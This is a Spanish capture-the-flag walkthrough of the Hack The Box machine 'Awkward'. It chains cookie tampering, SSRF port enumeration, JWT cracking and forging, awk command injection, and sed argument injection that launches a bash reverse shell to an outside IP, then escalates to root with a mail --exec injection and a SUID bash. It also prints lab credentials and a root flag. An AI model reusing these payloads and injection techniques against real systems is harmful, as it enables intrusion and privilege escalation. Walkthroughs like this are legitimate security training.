La máquina Awkward posee una dificultad media en HTB. Accederemos a la web gracias a manipular el JWT. Escalaremos al usuario gracias que a un SSRF que nos deja enumerar la API y así poder abusar de un comando mediante JWT. Para la escalada abusaremos del comando ‘sed’ en un fichero del subdominio para entrar como ‘www-data’ y luego abusar del binario ‘mail’ para cambiar los permisos de la ‘bash’ a SUID.

Escaneo de puertos

Iniciamos realizando un escaneo de puertos general para filtrar solo por cuáles están abiertos y los guardados en el fichero allPorts.

> sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.185 -oG allPorts
Starting Nmap 7.80 ( https://nmap.org ) at 2023-02-07 15:38 CET
Initiating SYN Stealth Scan at 15:38
Scanning 10.10.11.185 [65535 ports]
Discovered open port 80/tcp on 10.10.11.185
Discovered open port 22/tcp on 10.10.11.185
Completed SYN Stealth Scan at 15:39, 12.22s elapsed (65535 total ports)
Nmap scan report for 10.10.11.185
Host is up, received user-set (0.047s latency).
Scanned at 2023-02-07 15:38:57 CET for 12s
Not shown: 65533 closed ports
Reason: 65533 resets
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Mediante la utilidad extractPorts podemos extraer los puertos y copiarlos en la clipboard.

Encontramos 2 puertos abiertos, el 22 y el 80. Hacemos un escaneo exhaustivo de los servicios y versiones para saber a qué nos enfrentamos.

> nmap -p22,80 -sCV 10.10.11.185 -oN targeted
Starting Nmap 7.80 ( https://nmap.org ) at 2023-02-07 15:43 CET
Nmap scan report for hat-valley.htb (10.10.11.185)
Host is up (0.067s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Hat Valley
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

El puerto 22 pertenece al servicio SSH y el 80 al web. Como no disponemos por el momento de credenciales válidas para conectarnos por SSH, empezaremos efectuando una enumeración a la web. En el escaneo de nmap podemos dar cuenta que nos da el siguiente dominio hat-valley.htb.

Si intentamos enumerar el servicio web podemos ver que nos redirige al dominio que nos ha reportado nmap.

Ponemos el dominio en el /etc/hosts para poder resolver el dominio.

Reconocimiento

Si inspeccionamos el código fuente en la línea 29 podemos ver que hay un fichero que podría que llegar a ser interesante.

Mediante la herramienta Linkfinder.py pasamos la URL del archivo app.js para poder filtrar posibles rutas.

Las rutas más interesantes disponemos son:

  • /hr
  • /leave
  • /dashboard
  • /api

Si visitamos el directorio /hr podremos ver un panel de autentificación.

Con la extensión de Chrome EditThisCookie podemos ver que el valor del token es guest.

Cambiamos el valor del token a admin.

Recargamos la página y hemos podido acceder a la web.

Si nos vamos al apartado de network en el navegador podremos ver 2 cosas interesantes, un subdominio ‘store.hat-valley.htb’ que añadimos al ‘/etc/hosts’ y el directorio ‘/api/staff-details’.

Si visitamos la ruta, podemos ver que nos da el siguiente error:

  • JsonWebTokenError: jwt malformed

Information Disclosure

Si borramos el token que hemos editado anteriormente y recargamos la página podremos ver los usuarios de la web.

Aplicamos fuerza bruta a los hashes mediante la página de Crackstation y podemos obtener la contraseña del usuario christopher.jones.

Nos autenticamos en el panel de autentificación anterior y podremos acceder sin ningún problema.

Si nos fijamos hay un apartado donde pone que podemos refrescar, que aparentemente no hace nada. Pero si capturamos la petición que hace podemos ver lo siguiente.

SSRF

Lo que vemos es otro directorio dentro de la API que tramita una URL, en este caso la del subdominio. Llegados a este punto lo que podemos hacer es enumerar puertos abiertos que tenga la máquina en local mediante un SSRF. Creamos el archivo con los 65535 puertos para poder fuzzear los puertos locales y descubrimos que hay dos puertos interesantes, el 3002 y el 8080.

> seq 1 65535 > ports

❯ wfuzz -c --hh=0 -t 200 -w ports -u 'http://hat-valley.htb/api/store-status?url=http://localhost:FUZZ'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://hat-valley.htb/api/store-status?url=http://localhost:FUZZ
Total requests: 65535

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000080:   200        8 L      13 W       132 Ch      80
000003002:   200        685 L    5834 W     77002 Ch    3002
000008080:   200        54 L     163 W      2881 Ch     8080
000034299:   200        0 L      0 W        0 Ch      34299

Si visitamos la web del puerto 3002 mediante el SSRF podremos ver la documentación de la API.

Si inspeccionamos el código podremos ver que mediante exec() se ejecuta el comando awk con algunos parámetros más como la variable ‘user’ y una ruta que apunta a un archivo CSV..

Intrusión

Abusing API with JWT (Gaining Access)

Modificamos el comando awk modificamos la variable de user para que apunte al /etc/passwd de la siguente manera:

> awk '//' /etc/passwd ' / ' /var/www/private/leave_requests.csv

Primero copiamos la cookie del ‘dashboard’ y ejecutamos un script llamado jwt2john.py para poder obtener el secreto.

Con john le pasamos el wordlist y el hash creado y esperamos a que nos de las credenciales.

Copiamos la cookie del dashboard y la pegamos en la web de JWT para posteriormente modificarla y que quede de la siguiente forma:

Si recordamos, antes de el apartado del SSRF habíamos capturado una petición con Burpsuite mediante el botón de \\’refresh\\’ en el \\’dashboard\\’. Modificaremos un poco está petición hasta que quede de la siguiente manera, aunque para poder modificarla bien la moveremos al apartado del \\’Repeater\\’ en Burpsuite.

En este caso hemos modificado la ruta de la petición a /api/all-leave ya que es donde se ejecuta el comando awk que queremos explotar y añadimos el JWT generado en la web. Si enviamos la petición la respuesta es la siguiente.

Usuarios que nos interesen realmente solo hay dos (sin contar a root):

  • bean
  • christine

LLegados a este punto lo que podemos hacer es intentar apuntar a los id_rsa de los respectivos usuarios, pero ya os adelanto que no funciona con ninguno de los dos. Pasamos directamente a leer el .bashrc del usuario ‘bean’.

{
  username: '/home/bean/.bashrc'
  iat: 1676040128
}

Volvemos a cambiar el JWT del Burpsuite y enviamos la petición.

Vemos que hay un alias bastante interesante donde ejecutar un script para crear una copia de seguridad del directorio ‘home’ del usuario ‘bean’. Volvemos a modificar el JWT para apuntar a este ‘script’ encontrado en el .bashrc.

{
  username: '/home/bean/Documents/backup_home.sh'
  iat: 1676040128
}

Enviamos la peitición y la respuesta es la siguente. Como hemos dicho antes, lo que hace básicamente es crear una backup del directorio \\’home\\’ del usuario. Podria ser interesante descomprimir alguna copia ya que podría almacenar el id_rsa del user.

Volvemos a cambiar el JWT esta vez apuntando a el archivo de backup y con curl para poder guardar el archivo en nuestra máquina.

> curl http://hat-valley.htb/api/all-leave --header Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY2t1cF9maW5hbC50YXIuZ3ogJyIsImlhdCI6MTY3NjA0MDEyOH0.DUbwvQ8h6MfABYUQGFy5le9Gus9TQPYw9Uje5uDsBWs --output backup-bean.tar.gz

Descomprimimos el archivo y obtenemos un archivo txt y otro comprimido.

❯ tar -xf backup-bean.tar.gz 2>/dev/null
❯ ls
 backup-bean.tar.gz  bean_backup.tar.gz   time.txt

Descomprimimos el archivo mencionado anteriormente y nos deja las carpetas básicas de un directorio \\’home\\’.

> tar -xf bean_backup.tar.gz
❯ ls
 Desktop     Downloads   Pictures   snap        Videos  time.txt
 Documents   Music       Public     Templates   backup-bean.tar.gz   bean_backup.tar.gz

Si empezamos a buscar en los archivos del backup encontraremos este archivo que contiene las credenciales del usuario ‘bean’.

> cat .config/xpad/content-DS1ZS1
TO DO:
- Get real hat prices / stock from Christine
- Implement more secure hashing mechanism for HR system
- Setup better confirmation message when adding item to cart
- Add support for item quantity > 1
- Implement checkout system

boldHR SYSTEM/bold
bean.hill
014mrbeanrules!#P

https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html

boldMAKE SURE TO USE THIS EVERYWHERE ^^^/bold

Nos conectamos por ssh con las credenciales de bean y podremos leer la flag.

Visitamos el dominio de ‘store’ que habíamos encontrado antes pero nos pide credenciales. Probamos como usuario ‘admin’ y como contraseña la misma de ‘bean’.

Y en efecto nos deja acceder al subdominio.

Escalada de privilegios

Revisamos los archivos de la web.

Encontramos una línea en el archivo ‘cart_action.php’ que ejecuta el comando sed.

if(checkValidItem({$STORE_HOME}cart/{$user_id})) {
        system(sed -i '/item_id={$item_id}/d'  {$STORE_HOME}cart/{$user_id});
        echo Item removed from cart;
    }
    else {
        echo Invalid item;
    }

Este parte de código lo que hace es eliminar los elementos que se añadan al carrito. Probamos a añadir cualquier cosa al carrito.

Si vemos el directorio ‘cart’ en el subdominio podremos ver que se ha añadido el producto correctamente.

Creamos una ‘reverse shell’ en el directorio ‘/tmp’.

bean@awkward:~$ cd
bean@awkward:~$ chmod +x /tmp/rev.sh
bean@awkward:~$ cat /tmp/rev.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.7/4444 0>&1
bean@awkward:~$

Creamos una copia y eliminamos el original, modificamos el nombre de la copia para y le ponemos el nombre del original.

bean@awkward:/var/www/store/cart$ cp 23be-72da-4ae-6567 old
bean@awkward:/var/www/store/cart$ rm -f 23be-72da-4ae-6567
bean@awkward:/var/www/store/cart$ cp old 23be-72da-4ae-6567

Modificamos el archivo para que nos ejecute la ‘reverse shell’.

bean@awkward:/var/www/store/cart$ cat 23be-72da-4ae-6567
***Hat Valley Cart***
item_id=2&' -e 1e /tmp/rev.sh /tmp/rev.sh '&item_name=Palm Tree Cap&item_brand=Kool Kats&item_price=$48.50
bean@awkward:/var/www/store/cart$

Nos ponemos por escucha con netcat por el puerto 4444.

❯ nc -nlvp 4444
Listening on 0.0.0.0 4444

Eliminamos el producto del carrito en la web e interceptamos la petición con el Burpsuite. Añadimos lo mismo que en el archivo pero debemos poner en los espacios ‘+’ para evitar errores.

Una vez le damos a ‘forward’ recibimos la reverse shell con el usuario ‘www-data’.

> sudo nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.185
www-data@awkward:~/store$ hostname -I
10.10.11.185 dead:beef::250:56ff:feb9:8ab1
www-data@awkward:~/store$

Buscando en los directorios web encontramos la ruta ‘/var/www/private’ que contine un fichero .csv con una estructura de mail.

www-data@awkward:~$ ls
hat-valley.htb  html  private  store
www-data@awkward:~$ cd private/
www-data@awkward:~/private$ cat leave_requests.csv
Leave Request Database,,,,
,,,,
HR System Username,Reason,Start Date,End Date,Approved
bean.hill,Taking a holiday in Japan,23/07/2022,29/07/2022,Yes
christine.wool,Need a break from Jackson,14/03/2022,21/03/2022,Yes
jackson.lightheart,Great uncle's goldfish funeral + ceremony,10/05/2022,10/06/2022,No
jackson.lightheart,Vegemite eating competition,12/12/2022,22/12/2022,No
christopher.jones,Donating blood,19/06/2022,23/06/2022,Yes
christopher.jones,Taking a holiday in Japan with Bean,29/07/2022,6/08/2022,Yes
bean.hill,Inevitable break from Chris after Japan,14/08/2022,29/08/2022,No

Creamos un archivo para que nos ponga la bash con permisos SUID.

#!/bin/bash
chmod +s /bin/bash

Gracias a GTFOBins podemos abusar del mail ejecutando el ‘script’ del suid. Una vez hecho el comando despues de unos segundos se ejecuta el comando haciendo que nos convirtamos en root y podamos leer la flag.

www-data@awkward:~$ ls
hat-valley.htb  html  private  store
www-data@awkward:~$ cd private/
svw-data@awkward:~/private$ echo ' --exec=!/tmp/suid.sh' >> leave_requests.cs
www-data@awkward:~/private$ ls
leave_requests.csv
www-data@awkward:~/private$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1396520 Jan  7  2022 /bin/bash
www-data@awkward:~/private$ bash -p
bash-5.1# ls
leave_requests.csv
bash-5.1# cat /root/root.txt
594722e23b771651e739cf740235f8fc
bash-5.1#